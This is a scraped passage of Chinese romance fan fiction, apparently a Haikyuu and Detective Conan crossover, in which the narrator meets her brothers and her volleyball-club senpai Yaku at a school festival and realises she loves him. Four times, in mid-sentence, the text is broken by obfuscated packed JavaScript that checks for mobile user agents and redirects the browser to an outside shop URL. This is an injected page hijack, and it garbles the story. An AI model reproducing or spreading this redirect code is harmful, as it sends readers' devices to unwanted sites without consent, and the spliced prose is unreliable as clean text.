摊主神情复杂地这么想着。 本来这个规则是专门针对那些想要最后一排奖品的人的，毕竟那的确远，投不到也正常，就定下规则全当让顾客花一千八百日元买下奖品（再投下去还投不到就有点坑人了，反正最后的奖品大多只有一千日元出头，也不亏）。 但顾客只是想要中间的奖品结果触发了这条规则……那个长条兔子很吸引人吗？为什么非得要那只？ 摊主匪夷所思地想。 # 单一个长条兔子当然没有这么吸引人来着。 最后还是投满了五十个圈，顶着摊主看看人傻钱多的傻瓜的眼神，我满足地将兔子抱进怀里，心情意外很好地离开了。 不过没记错的话，这只长条兔子和之前夜久前辈送我的小熊玩偶是同一个系列的玩偶来着…… ： 莫名其妙就抱着不管怎么样都一定要拿下的决心上了……反正也有保底，一千八百日元的话，虽然没记错是原价的一倍多一点（实际线下买的话还有折扣所以真的算起来可以说是两倍了反正很亏），但真要说的话也不是不能接受。 怀里的兔子跟早上起来还抱在怀里的另一只浅咖色玩偶是一样柔软的触感，我捏了捏它的耳朵，又搓了搓它被棉花填得圆润的脸颊，忍不住有点开心地无声弯了弯眼睛。 嗯……之后再买点玩偶回家吧。 床是双人床、也不是没有地方放（实在放不下还可以堆去客厅），晚上睡觉也可以抱抱其他的玩偶（一直抱那只小熊总有种它会因为使用频繁坏掉的感觉……）。 虽然上次从夜久前辈要到了会和我出去玩的回答，但因为各种原因我其实一直没有找到机会和借口约他出来而已……那就约他出去买玩偶吧。 刚好文化祭之后没什么事情、唯一的春高也在一个月之后，时间还算充裕。 这么想着，我摸出手机看了看时间。 套圈加上逛的时间已经过去半个小时多了……现在就直接去夜久前辈的班级，我记得从我这走去他班级要差不多十多分钟来着，再稍微买点东西、逛一逛，到的时候应该就差不多刚好十二点，也就是夜久前辈下班的时候。 唔……就这么办吧。 一路朝着夜久前辈的班级边走边逛，中途还买了一根烤肠和一个加了草莓和香蕉的可丽饼（这个好好吃，待会要是还有时间逛的话想再回来买一次，想尝尝巧克力布朗尼味的）。 最后到教学楼的时候已经挨个吃完、然后把包装扔掉了，我站在一楼看了会儿挂在墙上的班级分布，在三楼的那一栏找到了夜久前辈的班级。 临到饭点，路上没什么人、大部分应该都是准备下楼去吃饭的同学，我贴紧了边缘，逆着人群往上走，爬到三楼的时候路上的人比上来之前还要少了点。 好像已经没什么玩的同学了，都是准备结束值班的高年级前辈……不知道为什么莫名有点紧张。 在挂着三年五组门牌的教室前站定，我往里看了一眼，先下意识看过一圈教室的总体——倒是很简单明了的布置。 桌椅被收走堆在一起，教室中间空出来，讲台前的电脑亮着，白底黑字写着单词、短句和谚语，讲台前坐着个背朝黑板的“猜”的人剩下几个“比划”的人则纷纷站起来，在教室中央比划着什么。 我没多看，只想着黑尾前辈说的“名字很怪”，随即有些好奇地望向写着活动名的黑板。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309410|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >——“你比划我猜之超绝默契大挑战·考验好友/恋人之间的感情与默契·猜不到ta在比划什么就输了！” 字体可爱圆润，黑板上还画了各种奇奇怪怪的小元素，几乎将整面黑板都填满了，看起来格外活泼……就是有点活泼过头了。 突然懂了为什么黑尾前辈说起它时没提起全名是为什么……先不说有没有说出口的勇气，这连记都很难记住吧！ 默默在心里吐槽，我随即移开目光，开始逐一扫过教室里仅有的几个人，还没来得及找夜久前辈，便被其中几个莫名眼熟的身影吸引了视线。 那是……阵平哥和研二哥、还有他们的朋友？ 我卡了两秒，随即有些不可置信地微微睁大眼睛，下意识后退一步，抬头再看了眼班级门口的门牌。 就是三年五组、没走错……这么巧？ 为什么阵平哥他们会刚好在夜久前辈值班的时候逛到他的班级啊……刚刚还说感觉其他人在的话介绍前辈给他们不太好，结果现在就这么巧的遇上了。 也不能装没看见……假装不知道阵平哥他们在这里直接走掉未免太冷漠了吧，而且超不礼貌。 但不让他们遇上也不可能，毕竟时间隔的太短、肯定会碰上。 ……唔。 我有点苦恼地皱了皱眉。 算了，先不管这个，阵平哥他们还在玩、看起来还要一会儿时间，先找一下夜久前辈在哪里吧…… 视线堪称是落在熟悉身影上的那一瞬就顿住，我看着正在给哥哥们主持游戏的夜久前辈，不自觉有点懵地睁大了眼睛。 ……欸？ ——欸？？ 不、等等，不对吧，怎么可能这么巧？ 哥哥逛到了前辈的班级且主持游戏的人就是前辈本人……这种事明明巧合到说出来都是要被人质疑的程度，结果竟然是真的发生了的事实吗？ 这么有点懵地想着，我盯着侧对着我、一时半会儿估计转不过来的夜久前辈看了会儿，半晌，视线不自觉偏移，移到旁边的那个……印象里是叫诸伏景光的人身上。 ……他在看我。 61. 第六十一个小岛 跟哥哥们的其中一个警校同学对视两秒，我还没来得及做出什么反应，就被注意到有个人站在这边的、三年五组其中一个值班的学姐叫住了。 “那边的同学？也是来玩的吗？”学姐从讲台处一边走过来一边招呼我，话落后微微顿了顿，随即友善提醒道，“这边暂时没有落单的人哦，想玩的话可能得等下一波人来——不过可能性不大就是了。” 说着，她往后指了指空荡荡的、除了值班人员就只有我哥哥他们一行五个人的教室，有些遗憾道：“快到饭点了人就少了很多呢，本来以为那边的几个人会是最后一波人呢。” 我下意识顺着她指的方向看过一眼，第一眼先看见面露讶异地夜久前辈、随即又望了望面色惊讶中又有些微妙的阵平哥和研二哥，不自觉沉默两秒。 ——看他们这个表情，绝对有猜到我过来这里是找其他人的吧。 我莫名心虚地飘着视线收回目光，声音无意识压低了些，尾音有点含糊地回答学姐的话，“没有……不是来玩的，我找夜久前辈。” 顿了顿，我在她莫名恍然大悟地带上两分促狭调侃的眼神中又默默补了一句，“不过，那边正在玩的五个人是我哥哥和他的朋友、来着。” 学姐原本只是纯粹吃到瓜的神情空白一瞬，随即毫不掩饰惊讶地“欸？”了声，确认道：“那是你哥哥？” 我没太懂她在惊讶什么，犹豫了两秒，有点不确定地回道：“是……就是从左往右数第一二个，都是我哥哥。” 学姐转头远远望了眼，观察两秒重新回过头，不知道为什么，这回莫名带了点幸灾乐祸的味道，“这样啊……看样子他们都有注意到你来了，那我就不帮你叫人啦？” 我应了声，“好，谢谢学姐。” 也没等多久，游戏时间就正式结束结束，我抬眸看着夜久前辈趁着宣读分数的空档（好像是猜对的多会赠送娃娃还是什么东西所以才要计分，不过因为目前人少所以正在值班的几位前辈就各分其职了）来到我面前，微微压低了声音，问我，“怎么突然过来了？排球部那边出什么事了吗？” 我尽力无视正在听分数的哥哥们幽幽地投来的颇具重量的目光，闻言微微摇了摇头，语气游移，“没出什么事……但刚好一个人逛，就顺便在夜久前辈你下班的时候过来准备一起去排球部了、来着。” “喔，”夜久发出个没什么意义的语气词，随即顿了顿，重点落在另一个事情上，“怎么只有你一个人逛？列夫他们呢？自己走了？” “欸？”我没想到他重点会落在这点上，不禁有点懵地反问一句，忙否认道，“没有……我自己说要一个人逛的。” 停顿两秒，我又补了一句，“因为已经计划好了路线来着，就不太好跟灰羽他们一起走、这样。” “这样啊。”夜久前辈应了声，很快便接受了这个理由，他随即低头看了眼手机，问，“我刚好到下班时间了，现在走？” “不……可能需要再等一等。”我有些迟疑地回了声，随即视线动了动，投向夜久前辈身后。 夜久前辈有些意外地看着我，注意到我的视线，也跟着下意识回头望去。 视野中映出刚刚那批客人的其中两个人的身影时，夜久听到我补充的下一句话。 “我哥哥他们刚好也在这里来着……得打个招呼再走。” 他顿了两秒，突然意识到什么。 ——哥哥？ # “阵平哥、研二哥。”老老实实挨个叫了一声，我视线移了移，瞄了眼停留在原地没跟过来的另外三个人，不自觉微微松了一口气。 下意识伸手扯了扯夜久前辈的衣角，我毫无停顿地接上下一句，“这是我同社团的前辈。” 随即，我偏过脸，跟夜久前辈介绍，“夜久前辈，这是我邻居家的哥哥和他的幼驯染。” 夜久前辈明显很意外地愣了下，我不自觉飘了飘视线，莫名有点心虚——一点准备也没有的直接跟他介绍阵平哥和研二哥了……还是有点紧张、本来打的腹稿都没想起来说，下意识地就直接开口了……对不起。 我难掩心虚地眨了眨眼睛，下意识有点紧张地移了移视线，落在夜久前辈侧脸上。 他看起来只是微微愣了一下，便很快调整了状态，露出个礼貌的、但比往常我看他面对生人时更和缓一些的笑来，“前辈们好，我是小岛社团的前辈夜久卫辅，高中三年级。” ……不愧是夜久前辈，换成是我的话肯定已经呆住了吧。 下意识将自己代入进了同个场景，我不自觉呼吸停滞了两秒，看着夜久前辈没什么异样地应对下来，又不自觉有点敬佩地看他两眼。 那边，松田看着完全没看他们的我忍不住微抬了抬眉梢，停顿两秒，伸手跟面前的男生一触即分地握了一下，“你好，我是这孩子的哥哥松田阵平，目前警校在读。” 听到他的声音，我这才寻声望过来，不禁微微顿了两秒，有些惊讶地眨眨眼。 阵平哥看起来比往常要柔和一点欸……平时顶着张恶人颜面对所有人是常事（虽然不是故意的、只是天生脸臭加上懒得对不熟的人笑脸相迎，但很多人乍一眼看着他觉得很凶是事实），我本来都已经做好待会跟夜久前辈解释一下的准备了来着…… 研二哥倒是和之前没什么区别……不过是错觉吗，总感觉他和平时相比有点不一样的感觉。 看着无缝衔接地握住夜久前辈的手上下晃了晃、开始笑眯眯地自我介绍的研二哥，我有点犹豫地想。 萩原弯起那双狭长的紫色眼睛，语气亲切地道：“夜久君你好，我是小绘另一个哥哥萩原研二，也是在读的警校生，和小阵平是幼驯染。我们家孩子这么多天辛苦你照顾了。” 夜久前辈看起来完全没料到事情是这么个发展法，他有点懵地顺着萩原的力道上下摆了摆手，闻言条件反射地开口，“没有的，小岛虽然平时有点怕生、但性格很好也很有礼貌，能力也强，不存在照顾一说，真要说的话反倒是我们应该感谢她。” 说着，他看起来越发真情实感了起来。 萩原看他这样子不禁有点意外地扬了扬眉，笑容也跟着一起真切了些，“那最好了。说起来，我和小阵平一直都想见见小绘口中的前辈呢，没想到这次恰巧遇到了……” 刚听到一半就没忍住缓缓冒出个问号，我有点迷惑地看了看正游刃有余地跟夜久前辈寒暄的研二哥，随即，转而有些疑惑望向旁边一直没说什么的阵平哥。 ……印象里，我应该几乎没提过几次社团里的前辈吧？ 不太习惯跟他们事无巨细地分享周围发生的事、加上一直都没什么可说的人，所以我习惯了偶尔打电话的时候也只稍微讲自己的一些事情……研二哥是那种会对几乎没出现过的人感到好奇的人吗？ 这么想着，我犹豫着看向阵平哥。 他注意到我的视线侧头看过来，丝滑解读出我的疑问后不禁沉默了两秒，神色平静地给出解释，‘萩随便说的，客套话不用管。’ 看着我恍然大悟的神情，松田毫无骗小孩的心虚，冷静地在心里继续道。 ——假的，根本不是客套话，他们是真的对小绘同社团的前辈感到好奇。 对，她的确没怎么说过同社团的前辈，但能出现在那孩子嘴里的人就已经足够能说明对方对她的影响很大了。 一次还能说是巧合，那两次、三次呢。 这几个月通的电话她几乎每次都会提一嘴社团里的前辈，比如去合宿了和前辈出去玩了之类的，对于小绘来说，这段时间偶尔提到的一嘴已经是往前好几年总和的好几倍了。 一直没有朋友打电话只会说自己拍了什么照片学了什么歌唱了什么歌的妹妹突然开始提起其他人——这种情况下是个人都会好奇的吧，更何况还是一直很担忧她的社交情况的松田和萩原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309411|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 来参加音驹文化祭也多少是抱着见见妹妹口中的前辈，如果对方（不管是一个人还是多个人都一样）是好人就顺其自然地祝妹妹能有要好的朋友，不是好人就帮忙让妹妹及时止损不要越陷越深。 是抱着这样的想法来的。 ——还考虑到之前小绘提到社团有四十多个人，怕两个人没法应付（只有他们两个人倒还好但还有一个营养发育都不太良好的妹妹）叫上了其他三个人。 不过、现在看来，应该是用不上了。 待会最后再去他们社团看一眼吧，多少见一见她总提起的前辈们。 这么想着，松田顺手搓了搓正在旁边默默围观的人的脑袋，迎着我迷惑的视线毫不心虚得镇定自若收回手，发现我一直没挪开的视线还转而有些疑惑地看来一眼。 我无言看他两秒，试图用眼神谴责他的所作所为——没用，阵平哥又在假装什么都没有发生了。 我不禁有些气闷地鼓了鼓腮帮，刚想说什么，就突然听到从教室里传来的喊声。 ——“夜久！你把控制器放哪了？” 正在讲台翻找什么的同学冒出头来，提高嗓门朝这边喊。 我还没反应过来，研二哥便回头看了眼，随即体贴地让出位置，笑着说：“你先去帮忙吧，我们也快走了。” 说着，他伸手指了指旁边正在和我眼神交流的阵平哥。 突然被提到，阵平哥条件反射地抬眸看过去，我便也条件反射地一起安静下来，随即跟着阵平哥一起转头望过去，却恰好对上夜久前辈直直看过来的视线。 ……欸？他不应该顺着研二哥去看阵平哥吗？ 疑惑自心底升腾而起，分神一瞬，看着夜久前辈跟研二哥道完谢后离去的背影，我不禁有点茫然地眨了眨眼。 “倒是也别只看着男朋友啊，明明研二哥也很帅气吧？” 突然有道熟悉的声音响在耳侧，我下意识回神，抬眼看过去，透过正在我面前上下挥动的手掌望见研二哥抱怨般的神情。 于我空白地呆住的眼神中，他收回手，朝我勾起一个笑来，语带调侃，“知道你们感情很好了，但也别一直盯着看这么入迷啊。” 伸出两根手指隔空比了比我的眼睛，他似叹息般道：“太明显了，小绘。” 终于慢半拍意识到他在说什么，我一瞬间慌乱起来，有点语无伦次地否认，“不、不是，等等……那只是同个社团的前辈而已，不是男朋友……” 研二哥有点惊讶地“欸？”了声，“还没在一起？那就是喜欢的人？” “……” 后知后觉的、汹涌滚烫的热意从脖子涌上来，耳根也烧得发烫，我下意识想要否认，张了张嘴，却一个字都说不出来。 满腔混乱的、繁杂的心绪都尽数哽在喉咙里，我发懵地看着研二哥笃定的、仿佛看透了一切般还带着些微笑意的眼睛，整个人有些空白地愣在原地。 “……”喉头干涩了半晌，我才条件反射地张嘴，想说什么能将这一茬揭过的话，比如是研二哥看错了、没有这回事、只是社团的前辈之类的，但最终，所有的腹稿在出口时被全数过滤，只剩下有些苍白的、无力的、没什么意义的话，“……不…等等、我……”没有喜欢他…… 所有的否认都尽数堵在喉咙里……我说不出口。 ……完全说不出口。 还没反应过来时大脑便擅自将夜久前辈和“喜欢”两个字连在一起，那一瞬间升起的欣喜突然堪称是汹涌而热烈地将我砸了个猝不及防，胸腔被填得满满当当，心头也泛起莫名的、熟悉又陌生的酸涩感觉。 思绪一瞬间停滞，我下意识偏了偏视线，透过研二哥与门框的间隙，望向那边另一个主人公。 ……喜欢。 我在心中默念这两个字，不自觉抿起嘴唇，半晌，才喃喃着在心中反问。 我……喜欢夜久前辈？ 62. 第六十二个小岛 喜欢 喜欢 喜欢 喜欢 …… ………… 回忆席卷而来，剧烈的心跳声、感受到的热意与心脏处所积蓄的一切我从未理解过的情绪在这一刻同过去重叠。 我总在过去选择不去追究那些我并不解其意的东西，比如胸腔中剧烈跳动着的心脏、比如自脖颈向上蔓延的热意、比如心脏处冒出的酸胀情感——这些我从不深究、任它们像流动着江水远去。 但此刻，这些被我抛到脑后的东西像突然倒流了那般，汹涌着扑来、而后将我完全吞没。 窒息吗。 并没有。 我只是突然……有了种顿悟般的感觉 ——一切的疑问都像在这一刻有了答案。 为什么会想和他永远在一起、为什么会不想分开、为什么会不想离别、为什么会不想面对没有他的日子、为什么光是想到他可能会离开我的生活就发自内心地感到恐慌。 ……原来是因为我喜欢他啊。 所以会在意、所以会恐慌、所以会惧怕。 原来这就是喜欢……原来一切都有迹可循。 原来我喜欢夜久前辈。 原来……我喜欢夜久卫辅。 我喜欢他。 再次在心底默念着这四个字，欣喜的满足感慢慢将我团团包围裹住，我听见胸腔处剧烈的心跳声、感受到脸颊烧得滚烫的温度，却头一回堪称是欢欣雀跃地深呼吸一口气。 不知何时被自发隔绝出的仿佛身处海底、一切外界的声音都朦胧而遥远的空间突然远远地离我而去，我听到周围窸窸窣窣偶尔响起的人声、听到自耳畔刮过的风的声音、听到树叶摩擦发出的簌簌声。 心跳声依旧一下又一下地毫不停歇地砸在耳侧，我在夜久前辈察觉到我的视线之前回过头，抬眼看向正静静地、带着笑意地看着我的研二哥，张了张嘴，不再犹豫地应道：“是。” 后知后觉地感到有些羞赧，我忍不住抿了抿嘴唇，撇开视线，虽然语气比刚刚弱了许多、声音也小了点，但依旧坚定地、毫不迟疑地道：“是。我喜欢他。” ——我喜欢上了一个超级超级好的人。 # 正常来讲的话，意识到自己心意之后的下一步该是什么呢？ 同阵平哥和研二哥他们道别，我跟夜久前辈一起肩并肩走在前往排球部的路上。路上的人很多，人声嘈杂，但我走在道路内侧、外侧的人又被夜久前辈挡住，倒也没因此感觉到有多拥挤。 面上滚烫的热意散了不少，只有耳尖还持之以恒地泛着烫意，我试着伸手揉了揉、没用，便也不再管它，只兀自沉默着想些什么。 嗯……对于刚刚那个问题，我其实没想出个所以然来，不是说不知道正常来讲的情况下下一步是什么——大概就是告白吧。但……我只是不知道“我”下一步该做些什么。 毕竟告白什么的……我不行的。 光是想到会被拒绝、然后被为了避嫌而疏远的可能就已经感到不能接受了……再跟原本对比一下就更让人难以忍受这样的落差了。 我受不了的。 我受不了不光没有更近一步还往前倒退至零点的关系的。 这是我绝对、绝对不能接受的、唯一的一件事。 ……但除此之外，我根本想不到其他的、我做得到也可以接受所带来的后果的措施。 根本没有吧…… 关系的增进按理来说都是需要做些什么的，而只要做出了行动就多多少少会改变什么……但我完全没法接受结果会往坏的那一面发展的可能。 但什么都不做……也不能保证我们之间一定会保持原样或者更近一步的吧。 万一呢、万一出现了另外一个更值得夜久前辈关注的人呢，万一原本属于我的关注在之后被别人分走了怎么办，我有什么能做的来挽回我们之间的关系的吗？ 就算没有出现外来因素，就单单将时间线拉远……夜久前辈快毕业了。 ……只有五个月不到的时间了。 虽然自第一次见面到现在满打满算也只有三个月左右、剩下的同之前别无二般的时间甚至比相处时间还要更多一点，但……就是太少了。 时间只有这么短短五个月，但事情却这么多——下个月的东京区春高预选决赛、三个月之后的全国大赛，还有夹在中间的期中考试和期末考试，就算文化祭过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309412|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去了也不代表接下来的日子会闲下来。 除了惯常的集体训练、每个人的加训之外，给成绩不好的队员补习保证可以及格然后参加比赛也是这么久以来必要的常见项目，还有小茜那边需要继续推进的拉拉队的招募和宣传工作（我其实已经做好最后要是人很少就干脆雇人来的准备了）、作为经理需要做好的比赛准备等等等等……时间会像之前那样过得很快很快的。 马上就是最后一学期的期末，高三的前辈们都毕业了，而夜久前辈要么去打职业、要么正常上大学……但不管是哪个选项我都再难跟他见面。 毕竟俱乐部球员假期偏少、大学学生又有自己的课程，不管俱乐部或者大学学校是在东京本地还是外地，我们，都注定难能像原来这样每天见面、相处。 ……而且我也没有提出要和他见面的立场。 后辈……后辈。 ……只是后辈的话，本来就不可能永远在一起的吧。 下意识地，我偏头看向旁边同我一起走在路上的夜久。 他正低头看着手中的手机，不知道在敲敲打打地回什么消息，我盯了他两秒，轻轻喊了他一声。 “夜久前辈。” 轻、弱、缓，与其说是在叫人，不如说是在喃喃自语些什么。 毕竟虽然走出了人最多的那一段路，但周围的人声依旧嘈杂，我的声音几乎是无缝衔接地融进周围隐隐传来的环境音。 不过这倒也是早有预料的情况就是了，我用这个音量叫他其实本来就未曾考虑过他听得到的可能性。 ……但多少还是会有点莫名其妙且无理取闹的失落吧。 视线描摹他微垂的瞳孔，感受着心中骤然低落下去的情绪，我忍不住抿了抿唇。 所以、果然—— “怎么了？” 还没来得及理清自己未曾浮出水面的情绪，我的思维却突然被未曾预料到的声音率先一步打断。 原本已经将要垂下的视线猛然一顿、随即蓦地抬起，我猝不及防地直直撞进他的眼睛里。 眼睛……又是眼睛。 最开始也是这样的，最开始也是这双眼睛。 但……没变的却好像只有他。 63. 第六十三个小岛 向前迈出的步子不知何时停下，我静静地看了夜久前辈一会儿，半晌，问他，“夜久前辈……你有听到我叫你吗？” 他任着我莫名其妙把他叫住、停下、再被跳过疑问反问了一个完全不相干的另一个问题，但看起来倒也没生气，只是平静地注视着我（虽然莫名有种“我倒要看看你又要干什么”的感觉就是了……），闻言不禁有些惊讶般地扬了扬眉，随即很坦然道：“没有哦。” ……欸？那是怎么发现的？ 我愣了一下，下意识地想问些什么，就被他停顿后再次接上的话语打断。 “我只是有发现你在看我。”夜久前辈看起来稍微有点无奈，但嗓音中依旧透着淡淡的、些微的笑意，他堪称纵容般地问我，“想到什么了？” 想到什么了……我一时没思考他后半句的问话，只是听着他前一句不自觉有些愣神。 ……虽然这么想可能会有点自作多情、有点想多了的意味，但我那一瞬间顺着这句话想到的，的确是不久以前的合宿的时候，研磨前辈那句没什么情绪的、陈述事实般的话。 他说夜久前辈在所有人中唯独最关注我。 所有人、唯独。 我愣愣地抬头望着他，半晌，刨根究底地问：“……是怎么发现的呢？” 是怎么发现我在看你的呢……是因为你也正在看着我吗，夜久前辈。 心脏缓慢地加速着跳动起来，但我一时顾不得这么多，只紧紧盯住他的眼睛，试图从其中其中窥见什么我所期望的、我所想要得到的答案。 视野正中心的那双棕色眼睛明显地怔愣一下，瞳仁微微缩小一瞬，下一瞬，我看见他下意识地移开视线，视线落点微微偏移，再降低、放远。 他盯着我身后的什么东西视线飘忽看了一会儿，半晌，才莫名有些不确定地冒出一个没什么意义的音节。 “怎么发现的……大概是因为我也有在注意你吧。”他像是终于意识到一样，自己也有些意外地、恍然地这么先回答了我的话，随即顿了顿，转而重新抬头，寻着我的眼睛望来，语气带上两分无端的歉意，“虽然只是稍微有些担心所以才会……这令你感到困扰了吗？” 我第一时间没有回答他，只是兀自陷在他的第一句话中。 得到想到的、期望的答案，我第一反应反倒是条件反射地收回视线，堪称恍惚地低垂下眼，盯着脚下的柏油路发懵。 翻涌的热意几乎是瞬间从耳根窜上去，耳尖烫得惊人，我都不用想，就能轻而易举地猜到它现在一定已经彻底地红透了——我突然再次庆幸起来，为我从始至终都没有将头发扎起来的习惯，它将一切都严严实实地遮挡住，只要我想，微微低头就可以将一切不想给外人看到的都尽数隐藏。 因为我也有在注意你……这算什么啊。 原本已经恢复原状的脸颊慢慢地重新蔓上热意，我的呼吸不受控制地乱起来，原本垂在身侧顺畅舒展开的手掌也不自觉蜷起，手指连带着指节都微微颤起来。 ……这算什么啊。 周围的空气都无端地泛起灼热而滚烫的温度，呼吸间涌进鼻腔的气息也烫得我不自觉地瑟缩起来，几乎要站不稳地后退一步再一步。 ……想逃。 我完全没办法在此刻镇定自若地、如往常一样地站在他身边。 但脚下像被什么强力胶水死死粘住，又或是生了根般扎进地底，我动不了，只牢牢定在原地。 还恍惚着的空档，却突然又有一句话飘进耳畔。 我终于在庞大又混乱的、难能理清的情绪中慢半拍地意识到夜久前辈在那之后又说了句什么。 …… 我几乎是条件反射地下意识抬起眼，却恰好看见他似乎在这一短暂的沉默中意识到了什么，于是正有些担忧而抱歉地张了张嘴、看起来正要说些什么。 几乎是瞬间猜到了他想要说些什么——为自己的行为道歉、并承诺此后再也不会做出这样的事情。 这不是我基于对他的了解做出的猜测，只是任何一个正常人在结合上文和对方的神色后会下意识做出的正常反应。 但我没有这样想、我也不想要这样“之后不会再擅自注意你”的承诺——那对我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309413|198759||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来说与其说是承诺、不如说是无妄之灾般的惩罚。 我几乎是惶恐地、堪称迫切地张口，在他道出第一个字前率先打断他的话——“我没有！” 迎上他的有些怔愣的目光，我不自觉呼吸滞了滞，有点不敢继续看他地下意撇开视线、垂下眼，盯着自己的鞋尖，语气也跟着一并弱下来，“……我没有感到困扰。” ……所以、所以请不要不再看着我。 我没有感到困扰。 我很开心。 我很开心能被你担心地、在意地注视着。 ……只要是你就没关系、只要是你就都没关系。 我不困扰、我不在意。 我始终欣喜于自己能出现在你的眼中。 所以、 所以—— “……请继续吧。” 连嗓音都不自觉颤抖起来。 “请继续看着我吧。” 如果、我是说如果 如果可以再贪心一点、更贪心一点的话 ……可以请你永远看着我吗？ # 安静而寂静的氛围中、在我开始逐渐感到有些不安时，我忽地听见一声极轻的叹息声。 视野中突然地又迈进一只鞋、随即是再一只，在意识到他似乎是上前两步到我面前的那一刻，我突然感受到一个不算大、却存在感明显的力道压上发顶。 我愣住，下意识抬眸，却蓦地望进他眼底。 ……好近。 近到我几乎要以为这样的距离已经足够我们察觉到彼此的气息，于是下意识地、条件反射地放轻了呼吸，只怔愣地望着他的眼睛。 他毫无遮掩，将一切情绪融进视线里、话语里，坦诚地将一切摆在我面前。 “我会继续看着你。”他望着我的眼睛，承诺般一字一句地、无比认真地道，“只要你想要、只要你需要，我就会一直看着你。” “所以、”他顿了两秒，似是无奈、又似是叹息地放轻声音，“……别哭啊，小岛。” ………… ……我明明没哭。 64. 第六十四个小岛 “欸？你们两个怎么来这么晚。”黑尾前辈正拎着排球部摊位上那个很大的摊位名走过，路过我们身边的时候不禁多看了我们两眼，随即“嘿”了一声，习惯性地这么随口带点挑衅地问道。 他已经做好和夜久拌嘴的准备，毕竟这会儿虽然人已经来得差不多了、但离最开始约好的集合时间还有将近十多分钟，虽然大部分人都已经到的差不多了、跟他们比夜久的确可以算是来得晚了些，但也没真晚到能被他用调侃对方迟到了的语气这么挑衅。 已经习惯性在脑中思考对面会给出怎么样的回答、他又该怎么怼回去的时候，黑尾下意识一抬眼，却意外发现他的同期闻声只是抬头瞥了他一眼，毫无表示地转头一声不吭地离开，朝着不远处正在组织大家布置摊位的猫又教练走去。 他顿了顿，多少有些惊讶地抬了抬眉梢——夜久转性了？这次竟然直接走掉了。 他疑惑地注视了一会儿夜久的背影，莫名感觉哪里不对，便转头，目光落在和夜久一起来的我身上，试图从我这里获得什么线索地问：“夜久他怎么了？怎么这么反常。” 学妹莫名身体一僵，停在原地兀自沉默了好一会儿，忽地低头摸出手机看了看时间，才开口，声音有些含糊地回答，“黑尾前辈，现在才十一点四十八，我们是十二点整集合，某种程度上还来早了一点。” ——答非所问了。 黑尾几乎完全没在意我话中的内容，他只是若有所思地盯了我一会儿，半晌，似是想到什么，接话继续道道：“喔，原来如此——所以小游，你知道夜久怎么了吗？” 我又安静了一会儿，视线无意识飘了飘，随即避着他的视线撇开脸，语气明显弱了几分，回答：“黑尾前辈，我先去跟芝山他们一起布置摊位了，下次再说，拜拜。” 说完，没等黑尾前辈有什么反应，我便毫不犹豫地、像是慢一步就会发生什么意料得到的恐怖事情一样，有点仓促地转身就走，直到走出两步才发现芝山不在这个方向，于是临了临了停下，四处转了一圈，看到所要找的人才重新转移了方向的，加快了脚步一路小跑过去。 而黑尾拎着牌子停在原地，和刚才注视夜久的背影没什么区别地凝视了一会儿我的背影，半晌，有些若有所思地挑了挑眉。 虽然不知道这两个人到底发生了什么……但他直觉有古怪。 嗯……找个时间看看能不能打探一下吧，他周围可就这么两个看起来有点苗头的人，这个八卦他看定了。 这么想着，黑尾又转头，看一眼那边明显比往常沉闷了不少的同期、再回头看一眼比往常更安静了一点的学妹，更加笃定了自己的猜测。 ——这两个人绝对发生了什么不得了的事情吧！ # 我对此一无所知，匆匆逃掉部长的疑问，再小声而含糊地应下同期“小游你怎么了看起来脸好红”的担忧与关心，便默默挪到我们存放作为奖品的书签、运动饮料和玩偶的地方，开始投身进入流水线上的拆塑料包装的工作中。 原本吹了一段冷风才勉强降下去的温度被黑尾前辈的一句话重新勾起来，回忆重新填入脑海，开始不受我控制地循环播放。我动作有些僵硬地拆着包装，隐藏在发间的耳朵却烧得越发滚烫。 【我会继续看着你】 【只要你想要、只要你需要需要的，我就会一直看着你】 继续、一直。 汹涌地翻腾上来的欣喜和满足感近乎将整个心脏都彻底填满、再因太过满胀而丝丝缕缕地溢出来，唇角也连带着一起不受控制地抿起一个小小的、难以抚平的幅度。 好开心、 好开心， 好开心好开心好开心。 